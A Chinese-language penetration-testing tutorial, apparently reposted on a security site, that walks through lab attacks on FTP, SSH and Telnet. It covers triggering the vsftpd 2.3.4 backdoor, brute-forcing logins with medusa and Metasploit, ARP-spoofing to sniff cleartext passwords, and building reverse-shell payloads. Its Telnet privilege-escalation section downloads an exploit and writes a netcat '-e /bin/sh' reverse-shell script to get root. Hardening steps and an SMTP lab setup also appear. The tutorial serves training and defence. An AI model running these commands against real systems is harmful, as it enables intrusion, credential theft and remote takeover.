标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3385]   作者: 闲云野鸡 发表于: [2024-03-22]

本文共 [115] 位读者顶过

FTP漏洞利用
FTP协议介绍

文件传输协议(File Transfer Protocol),是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。属于应用层的协议,端口21[出自:jiwo.org]

用户分类

Real用户
Administrator
匿名用户(anonymous)
FTP文件传输格式

ASCII
二进制格式
利用FTP匿名登录漏洞

由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。使用nc连接FTP
查看目标21端口是否开启
nmap -p 21 IP地址
扫描漏洞
nmap --script vuln -p 21IP地址
nc IP地址 21
自己手工写入用户名和密码
USER anonymous
PASS 123
quit --退出连接
利用FTP后门漏洞

vsftpd(2.3.4)手工触发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell
nc IP地址 21
USER user:)
PASS pass
查看6200端口是否触发
nmap -p 6200 IP地址
验证
nc IP地址 6200
FTP安全配置

修改配置文件,禁止匿名用户登录(linux中的配置文件是vsftpd.conf)
对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口
iptables -A INPUT -p tcp -dport 6200 -j DROP
iptables -A OUTPUT -p tcp -sport 6200 -j DROP
FTP漏洞利用-ftp不可避免的问题
FTP用户名密码暴力破解

Windows下CMD命令行添加用户,以及提升Administrator管理员权限
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
Windows下FTP服务器添加用户操作(这里假设添加的是admin/admin)
win2003 --IIS–FTP站点–右键属性–安全账户–添加账户
使用medusa暴力破解FTP登录(kai)
首先使用nc测试一下FTP连接
nc IP地址 21
USER admin
PASS admin
quit
假设不知道密码,medusa暴力破解
新建一个字典(测试使用,要真实可去寻找一些比较实用的字典)
pass.txt (在其中加入密码admin和其他一些随意的密码)
medusa -h IP地址 -u admin -P /root/Desktop/pass.txt -M ftp(-p表示单个密码,-P表示密码字典文件)

FTP用户名明文密码验证

FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息的。验证FTP登录过程中明文传输用户名和密码
nc连接FTP
Wireshark抓包
FTP用户名明文密码嗅探

利用arpspoof进行ARP嗅探
如果没有arpspoof,进行安装
apt install dsniff ssldump
arpspoof -i eth0 192.168.1.1 -t 192.168.1.103(冒充网关进行ARP欺骗)
利用wireshar进行抓包(抓取数据)
[外链图片转存中…(img-Kd3A5FfO-1654369598659)]实体机FTP连接192.168.1.103,输入用户名和密码连接
抓包内容 
FTP登录之后做的事情

利用metasploit创建反弹shell上传到FTP服务器。可以利用setoolkit快速生成反弹shell
kali输入命令进入
setoolkit(8.0.3)
1 --(选择第一个)
4 --(选择第四个)
2 --(选择第二个)
192.168.1.102 --(kali的IP地址)
4445 --(选择端口,任意,不冲突就行)
回车,等待生成payload
输入yes
打开另外一个终端
cd /root/.set/
ls
mv payload.exe /home/kali/Desktop --(移动到桌面)
复制到实体机
实体机FTP远程连接win2003,上传payload文件
ftp 192.168.1.103
输入用户名和密码
put 文件路径
上传成功后,会存在服务器的ftproot目录下
当服务器双击打开
kali 会反弹一个shell
sessions -i 进程号
调出shell
漏洞利用-SSH环境搭建
ubuntu搭建ssh服务端
ubuntu下安装服务端
sudo apt-get install openssh-server
SSH服务端服务启动与关闭
启动
service ssh start
状态获取
service ssh status
关闭
service ssh stop
ubuntu搭建ssh客户端
ubuntu下安装putty工具
sudo apt-get install putty
ubuntu下安装putty
在软件中心搜索putty进行安装
选择putty ssh client 安装
客户端连接服务端
打开putty输入服务端信息,连接
输入IP地址(这里是连接本地的SSH)
其他默认
open
漏洞利用-SSH Banner信息获取
nmap获取SSH Banner信息
nmap -sV -p 22 IP地址
Metasploit获取SSH Banner信息
msfconsole
use auxiliary/scanner/ssh/ssh_version
查看需要设置的参数
show options
设置远程主机
set rhosts 192.168.1.105
设置端口
set rport 22
设置线程(可选)
set threads 20
实施攻击
exploit/run
nc获取SSH Banner信息
nc IP地址 22
配置SSH规避Banner信息
在ssh配置文件/etc/ssh/sshd_config中新增一行
Ctrl+F输入banner寻找
新增:DebianBanner no
重启服务
service ssh restart
然后再次扫描发现没有操作系统信息
漏洞利用-SSH弱口令破解利用
Medusa SSH弱口令破解
medusa -h IP地址 -U 用户名字典文件 -P 密码字典文件 -M 指定服务
medusa -h 192.168.1.105 -U /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.txt -M ssh
字典文件可自己编写,也可去网上搜索
SSH命令行工具登录
一般情况Linux都具有ssh客户端,用来登录ssh服务端
可以使用ssh 用户名@IP地址,然后根据提示输入密码
Metasploit利用SSH登录反弹shell
使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.105
这里不再进行破解(这里的用户名和密码是我已经知道的)
set username user
set password 123456
exploit/run
成功后调用会话 sessions -i 会话号
bash 进入用户视图
Metasploit获取Meterpreter Shell
利用获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell
sessions -u 会话号
注入成功后,sessions -l查看会话(这里假设注入后建立的会话号是3)
sessions -i 3 --(调用)
漏洞利用-SSH安全防御
SSH修改默认端口
gedit /etc/ssh/sshd_config
Crtl+F搜索port
将port 22 更改为port 其他端口号
修改之后必须重新启动服务
SSH设置PGP登录
默认情况下,SSH使用用户名和密码进行远程登录,但也可以使用密钥进行身份验证登录(公钥与私钥)
生成SSH密钥对,使用puttygen
下载链接

使用ssh-keygen命令在Linux生成.ssh目录

在.ssh下新建密钥存储文件authorized_keys,并复制私钥文件到.ssh目录下。使用命令puttygen -L “拷贝私钥文件”,将内容拷贝到authorized_keys文件中 
使用putty客户端加载私钥文件进行连接
putty ssh client
SSH–>Auth–>Private key file for authentication加载私钥文件

Connection–>data–>输入对应的用户名
此时Sessons连接将不需要密码
SSH防御暴力破解用户账号
在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
修改/etc/ssh/sshd_config
将 "#PasswordAuthentication yes"改为 “PasswordAuthentication no”
重新启动服务
Iptables设置阈值防止暴力破解
利用iptables对多次连接验证错误,进行账户锁定120秒
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP
设置完成,重启ssh服务
漏洞利用-telnet暴力破解
telnet介绍
TCP/IP协议簇中的一员,是Internet远程登录服务的标准协议和主要方式
虽然telnet较为简单,使用也很方便,但在现代网络技术中,telnet并不被重用。原因是telnet是一个明文传输的协议,因此很多服务器都会选择禁用telnet服务
默认使用23端口
telnet版本获取
使用nmap获取telnet版本信息
nmap -p 23 -sV 192.168.1.105
使用Metasploit获取telnet版本信息
msfconsole
search telnet
use auxiliary/scanner/telnet/telnet_version
set rhosts 192.168.1.105
set threads 30
set rport 23
exploit/run
telnet密码破解
使用Metasploit下针对telnet破解的模块进行用户名和密码的破解
在msfconsole使用search telnet进行查询telnet可以利用的模块
use auxiliary/scanner/telnet/telnet_login
set rhost 192.168.1.105
set username 用户名(这是已知情况,未知情况设置字典进行破解set user_file 字典路径)
set password 密码 (未知设置字典 set pass_file 字典路径)
telnet登录测试
使用破解好的会话连接telnet,并执行对应命令
使用sessions -l 列举建立的会话
使用sessions -i id 使用对应的会话
bash ——进入用户视图
漏洞利用-Telnet登录提权(metasploit2靶机)
msf登录telnet

在metasploit中使用 telnet_login进行登录,并使用sessions -i id 连接shell
use auxiliary/scanner/telnet/telnet_login
set rhosts IP地址
该模块的用户名和密码只能通过指定文件进行设置
set user_file /home/kali/Desktop/user.txt
set pass_file /home/kali/Desktop/pass.txt
run/exploit
sessions -l --查看连接的会话
sessions -i id --调用会话
如果出现连接已经建立却无法执行命令

此时,可以通过命令尝试拿到meterpreter shell
sessions -u 对应会话ID
msf连接shell下载exp(连接上shell进行操作)

使用wget进行下载
wget http://www.exploit-db.com/download/8572
如果无法下载,本地另开一个终端,搭建服务
cd /var/www/html
wget http://www.exploit-db.com/download/8572
重命名
mv 8527 test.c
启动apache服务
service apache2 start
执行下载
wget “http://192.168.1.105/test.c
设置kali nc监听

使用netcat 进行监听,后期返回的shell
nc -lvp 4444
编译执行exp,获取root

gcc 源文件 -o exploit --(这里的源文件是test.c)

echo ‘#!/bin/sh’>/tmp/run

echo ‘/bin/netcat -e /bin/sh IP地址 4444’>>/tmp/run --(这里的IP地址是kali的IP地址(192.168.1.105))

ps -edf | grep udev

执行exploit 具有root权限的pid-1

./exploit 数字pid-1
漏洞利用-Smtp实验环境搭建
邮件发送与接受模型

邮件发送使用smtp协议,占用25端口。而邮件接收使用pop3或imap协议,分别占用110和143端口
添加主机名和域名

为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析
sudo gedit /etc/hosts
127.0.0.1 mail.test.lab test
sudo gedit /etc/hostname
test
修改完成重启reboot
使用hostname 或 hostname -f 查看修改是否成功
ubuntu安装postfix

postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装
sudo apt-get install postfix(卸载命令apt-get --purge remove postfix)
修改配置文件
sudo gedit /etc/postfix/main.cf
追加子网信息
inet_protocols = ipv4
home_mailbox = Maildir/ 
修改完成重新启动服务
sudo service postfix restart
使用netstat -nlv 查看25端口是否开启
ubuntu安装dovecot

sudo apt-get install dovecot-imapd dovecot-pop3d

修改配置文件

sudo gedit /etc/dovecot/conf.d/10-auth.conf

disable_plaintest_auth = yes
auth_mechanisms = plain login
sudo gedit /etc/dovecot/conf.d/10-mail.conf

mail_location = maildir:/home/%u/Maildir
sudo gedit /etc/dovecot/conf.d/10-master.conf

设置port = 143 port 110


修改权限

unix_listerner auth-usrdb{

mode = 0600

user = postfix

group = postfix

}

重新启动dovecot服务

sudo service dovecot restart
使用netstat -nlv 查看143和110端口是否开启

评论

暂无
发表评论
 返回顶部 
热度(115)
 关注微信